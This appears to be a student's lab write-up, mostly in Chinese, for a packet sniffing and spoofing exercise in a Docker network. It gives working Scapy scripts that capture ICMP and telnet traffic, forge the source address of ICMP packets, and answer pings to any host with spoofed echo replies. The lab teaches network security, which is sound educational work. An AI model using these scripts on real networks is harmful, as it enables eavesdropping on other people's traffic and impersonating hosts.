Packet Sniffifing and Spoofifing Lab
Environment Setup
启动容器
dcbuild
dcup
ifconfig查看网桥信息
创建的网桥是br-93554a9ea50b
Lab Task Set 1: Using Scapy to Sniff and Spoof Packets
进入容器
Task 1.1: Sniffifing Packets
Task 1.1A
进入攻击主机
编写sniffer.py放入volumes(需要修改成自己的网桥)
#!/usr/bin/env python3
from scapy.all import *
def print_pkt(pkt):
pkt.show()
pkt = sniff(iface='br-93554a9ea50b', filter='icmp', prn=print_pkt)
攻击主机开始监听
被攻击主机ping百度
可以在攻击主机中看到数据包
Task 1.1B
- 只捕获ICMP包
#!/usr/bin/env python3
from scapy.all import *
def print_pkt(pkt):
return pkt.summary()
pkt = sniff(iface='br-93554a9ea50b', filter='icmp', prn=print_pkt)
print(pkt)
攻击主机运行sniffer.py开始监听
被攻击主机ping www.baidu.com
- 监听来自特定IP地址,端口为23的TCP报文
#!/usr/bin/env python3
from scapy.all import *
def print_pkt(pkt):
return pkt.summary()
pkt = sniff(iface='br-93554a9ea50b', filter='tcp and src 10.9.0.10 and dst port 23', prn=print_pkt)
print(pkt)
开始监听后在被攻击主机上使用telnet连接网关
- 监听某子网的报文
#!/usr/bin/env python3
from scapy.all import *
def print_pkt(pkt):
return pkt.summary()
pkt = sniff(iface='br-93554a9ea50b', filter='net 128.230.0.0/16', prn=print_pkt)
print(pkt)
攻击主机开始监听后在被攻击主机上ping128.230.0.1
Task 1.2: Spoofifing ICMP Packets
修改sniffer.py并在攻击者主机上运行
在被攻击主机中创建spoof_icmp.py文件,并运行
from scapy.all import *
a=IP()
a.src='10.0.2.4'
a.dst='10.9.0.1'
b=ICMP()
p=a/b
send(p)
可以发现地址被伪造了
Task 1.3: Traceroute
在被监听主机上创建try_ttl.py文件
#!/usr/bin/env python3
from scapy.all import *
for i in range(1,30):
a=IP()
a.dst='202.108.2.5'
a.ttl=i
b=ICMP()
p=a/b
send(p)
在wireshark中开启监听网桥
被监听主机运行try_ttl.py后查看wireshark
Task 1.4: Sniffifing and-then Spoofifing
在被监听主机中ping 以下三个地址
发现只有第三个可以ping通
ping 1.2.3.4 # a non-existing host on the Internet
ping 10.9.0.99 # a non-existing host on the LAN
ping 8.8.8.8 # an existing host on the Internet
在attacker主机中创建sniff_and_spoof.py并运行
#!/usr/bin/env python3
from scapy.all import *
def spoof_pkt(pkt):
if ICMP in pkt and pkt[ICMP].type == 8:
print("Original Packet.......")
print("Source IP : ", pkt[IP].src)
print("Destination IP:", pkt[IP].dst)
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)
icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
data = pkt[Raw].load
newpkt = ip/icmp/data
print("Spoofed Packet.......")
print("Source IP : ", newpkt[IP].src)
print("Destination IP : ", newpkt[IP].dst)
send(newpkt, verbose=0)
pkt = sniff(iface='br-93554a9ea50b', filter='icmp', prn=spoof_pkt)
再次使用被监听主机ping 刚刚的三个地址
1.2.3.4可以ping通
10.9.0.99无法ping通
8.8.8.8 可以ping通,存在DUP标志